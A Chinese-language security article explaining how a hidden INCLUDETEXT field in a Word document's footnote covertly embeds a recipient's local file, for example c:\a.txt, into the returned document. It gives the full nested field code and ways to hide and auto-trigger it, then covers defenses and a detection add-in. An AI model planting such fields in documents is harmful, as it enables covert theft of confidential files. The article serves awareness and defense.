Word也会作间谍
Word也会作间谍,Word也会作间谍
下属B给领导A发了一个Word文档,按照正常的办公流程,领导A应该在修订、签署文档后把它发回给下属B。领导A先给Word文档杀毒,确认文档安全之后才打开它。但是,当最后领导A把已签字的文档发回给下属B时,这个Word文档却顺手牵羊,偷走了领导A电脑上的一份机密文档c:a.txt。
那么,下属B是怎样完成这次窃密的呢?原来,下属B在文档中插入了一个INCLUDETEXT域。这个域插入到了文档最后一页的脚注之中,域的完整代码是:{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }。其中INCLUDETEXT域的作用就是把指定的文件嵌入到当前文档,但它不是宏,所以不会引起Word的安全警告。
用INCLUDETEXT域实施攻击时,有两个关键的问题需要解决:第一,必须隐藏INCLUDETEXT域,避免INCLUDETEXT域被领导A发现;第二,INCLUDETEXT域必须在经过一次更新操作后才会引入目标文件。
首先来看第一个问题。要隐藏INCLUDETEXT域,可以根据Word文档的结构特点,采用多种办法,例如隐藏文字、小而无色的字体等。一种比较通用的办法是,将INCLUDETEXT域嵌入到一个“哑”的IF域。所谓哑的IF域,就是输出结果总是空字符串的IF域。
至于INCLUDETEXT域的更新问题,对于大型的、包含许多正常域的Word文档,这通常不存在问题,因为收到文档的人一般会更新所有的域。但是,下属B采用了一个更好的办法,即在INCLUDETEXT域里面嵌入了一个DATE域,且这个DATE域是文档中的最后一个DATE域,于是整个域就变成了自动更新的域。
下面我们来看看如何避免这种信息泄漏。
二、坚固的防御
显然,这种攻击如果要得逞,攻击者必须知道机密文档的确切名称和路径。但是,对于一起工作的同事来说,攻击成功的可能性大大增加。例如,如果某个人没有访问服务器上共享文件的权限,但知道共享目录和文件的位置、名称,他就可以借助这种攻击,利用另一个人的身份获得共享文件。
为了将这种攻击的风险降低到最低限度,一般可以采取的措施有:第一,利用“编辑”→“链接”菜单,看看是否有链接的文件;第二,手工搜索域,分析每一个域是否合法。选择菜单“工具”→“选项”,打开“视图”选项卡,选中“显示”部分的“域代码”,“域低纹”一栏选择“始终显示”,这样就把Word文档包含的所有域突出显示,为检查域代码带来了方便。
另外,如果你经常要收到来源不是很可靠的Word文档,而且总是要修订文档之后把文档发回去,手工检查域代码的办法肯定太麻烦,有一个免费工具可以帮助你,这就是Hidden File Detector。从www.wordsite.com/HiddenFileDetector.html或www.woodyswatch.com/util/sniff/下载Hidden File Detector,文件很小,不到100KB。下载好之后解开压缩,得到一个Word插件HiddenFileDetector_Addin.dot。按照如下步骤安装插件:
1.启动Word,选择菜单“工具”→“选项”,打开“文件位置”选项卡。
2.双击“启动”这一项,出现“修改位置”对话框,点击“查找范围”后面的下拉按钮,记下Word的STARTUP文件夹的位置。
3.关闭“修改位置”对话框和“选项”对话框。退出Word。
4.把HiddenFileDetector_Addin.dot复制到Word的STARTUP文件夹。注意:如果你在Windows资源管理器中找不到Word的STARTUP文件夹,可能这个文件夹被隐藏了。显示隐藏文件夹的方法是:点击Windows资源管理器的菜单“工具”→“文件夹选项”,选择“查看”选项卡,在“高级设置”列表中选中“显示所有文件和文件夹”。
5.重新启动Word,“工具”菜单下面会增加一个新的Detect Hidden Files菜单,如图一。
图一
例如,假设Word文档通过INCLUDETEXT域引入了c:a.txt和c:test机密文件.doc两个文件,点击Detect Hidden Files菜单,出现图二的报告,一切窃密行为将无法遁形!
图二